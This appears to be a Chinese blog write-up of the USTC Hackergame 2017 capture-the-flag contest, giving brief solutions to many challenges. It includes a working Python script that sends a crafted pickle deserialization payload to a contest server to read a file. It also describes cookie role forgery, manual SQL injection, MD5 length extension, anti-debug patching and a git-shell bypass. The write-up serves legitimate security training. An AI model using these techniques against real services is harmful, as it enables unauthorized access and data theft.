CTF 安全

中国科学技术大学第四届信息安全大赛 —— USTC Hackergame 2017 WriteUp

比赛入口地址:http://hack.lug.ustc.edu.cn/

中科大校赛题目质量挺高,偏向算法,不过没有PWN:-) && (听说中科大学生数理基础不错)

第一次拿了AK,虽然不是第一个拿下,不过还是挺开心的。

看不见的字 (Point 100)

Kali 下直接 pdftotext 就可以了

科大学生家长的日常

题目链接的html页面默认马上跳转到中科大官网,直接 curl http://hack.lug.ustc.edu.cn/file/ustc.html 查看网页源代码, flag 就躺在里面

被入侵的云端

手工读16进制,根据IP、UDP报文头格式去读即可,或者直接 kali 下 hexdump

真假 flag

用 py 的内置函数 isalnum() 判断 {.+} 里的字符串即可

骚扰你的一位老学长

网页底部写着 Page generated 2017-10-13 22:14:22 PDT, by jemdoc. ,网上查下 jemdoc ,就能知道 flag 藏在 /index.jemdoc

云游戏?!

网页游戏代码来自谷歌,对比了一下,发现有这几行代码不是谷歌写的

alert("很高兴你能找到这个文件。不过这并不是你要的答案。但是我也不会让你完全失望。现在我想邀请你玩一个小游戏(只需要键盘方向键,上键开始)。原则上游戏的进度越长,就越接近答案,不过也会有欲速则不达的情况。答案的前12位有效数字(不带符号,标点)就是你需要的秘钥。你可以不相信我,但是你恐怕别无选择。我想,这还算是个公平的交易吧?");

var PARAM_A = 0.943745363;
var PARAM_B = 2.895467371;
var X = 5.0;
ACCELERATION: 0.1

// try to gain reward, the constant part of the reward is 2.4657676475
X -= 0.1* this.config.ACCELERATION * (4 * PARAM_A * X * X * X - 3 * PARAM_B * X * X);

根据题目提示,查到是“梯度下降法”

F(X) = PARAM_A * X * X * X * X - PARAM_B * X * X * X + 2.4657676475
F'(X) = 4 * PARAM_A * X * X * X - 3 * PARAM_B * X * X

没记错的话,求F(X)极小值即可

被加密的实验报告

我是X宝1元解密的,或者可以直接文件16进制搜索 flag

简单认证

改一下 Cookie 里的 role 为 admin 的 base64 值,访问 admin.php 就能看到 flag

flag 验证器

直接用 IDA 的 F5 反编译 main 函数即可,一个简单的异或加密

黑客猜奇偶

如果提交空的字符串过去,拼接后得到的最终MD5就是服务器的MD5

熟悉的声音

还记得南大学生根据记者采访视频听出周鸿祎的手机号码吧?

用 audacity 查看音频文件频谱图,根据 双音多频 DTMF 就能得到 flag

用户名查询系统

查看源代码,JS 代码里 md5() 里面可以调试出 签名值 是如何计算出来的,然后手动 SQL 注入即可

Hide and Seek

pickle 反序列化漏洞,不过有白名单,自己构造了一个 payload

#!/usr/bin/python3

import base64
import requests

s = b"\x80\x03chandies\nfile_contents\nq\x00X\x07\x00\x00\x00flag.pyq\x01\x85q\x02Rq\x03."
s = base64.b64encode(s)
s = str(s)[2:-1]
url = 'http://67.209.186.120:8888/?credential=%s' % s
r = requests.get(url)
print (r.text)

黑客猜奇偶升级版

md5 长度扩展攻击,用 hexpand 可以不需要提供 original_data 计算 md5

分享 pcat 大佬写的 hexpand安装说明

永恒的东风

用 audacity 查看音频文件频谱图,发现高频部分有两行,第一行是时钟周期(有或无都表示一个周期),第二行是数据周期(有表示1,无表示0)

乱七八糟

output.bin 文件用 binwalk -e 可以完成 zlib 解压,得到一个文本,改名为 source.perl

把开头的 eval 改成 print,另存为 source_modify.perl ,用 perl source_modify.perl 跑一下,得到 perl 源代码

分析源代码,可以知道 output.bin 由 四部分数据 组成,分别是

1. source.perl 经 zlib 压缩后的数据
2. flag 经过 32次 base64 后,再用 zstd 压缩,然后去除前后 8字节 后得到的数据
3. flag 经过 24次 base64 后,用 AES 加密后的数据
4. flag 经过 32次 base64 后,再用 zlib 压缩,然后去除前后 8字节 后得到的数据

把 source.perl 重新用 zlib 压缩一下,再与 output.bin 比较,“做减法”,即可分离出 2+3+4 的数据

不断调整 flag 长度,构造假 flag 进行 2+3+4 的数据加密过程,将结果的长度与分离出的 2+3+4 数据的长度比较,长度尽可能靠近原数据的长度,长度大概是 280,000 字节

AES 加密是分组加密,加密后的长度是固定增长(此处表达可能不准确),我们很容易知道加密之后的长度,即 3 数据的长度

现在只要知道 2 数据的长度(我们知道大概长度是 120,000),即可知道 4 数据的长度。

写个脚本爆破一下,用 2 和 4 作为 key 和 iv 给 3 进行 AES 解密,用 isalnum() 判断解密后的结果(排除后面30位,因为 base64 会补充 = 符号)

三教许愿池

lzma 解压得到两个 py 文件,根据提示知道是 DDH (Decisional Diffie-Hellman) 问题

网上找到这个 https://chris-wood.github.io/2016/06/03/DDH-Zp.html

可以用 勒让德符号 计算 二次剩余 判断 奇偶,区分出 g^xyg^r

线索

用 IDA 可以看到几个 Hint,反编译走不通,可以走走调试

用 Ollydbg 调试,改汇编,把 防debug检测 那个 call 函数 nope 掉,然后 Print/OutputDebugString 输出 strncmp 那里的参数

保存修改后的新 exe,手工爆破即可得到 flag flxg{WTFi5Th1sRev3rse???}

自己的 Git 服务器

git shell 绕过,可以参考 https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/


标签: CTF 安全

Comments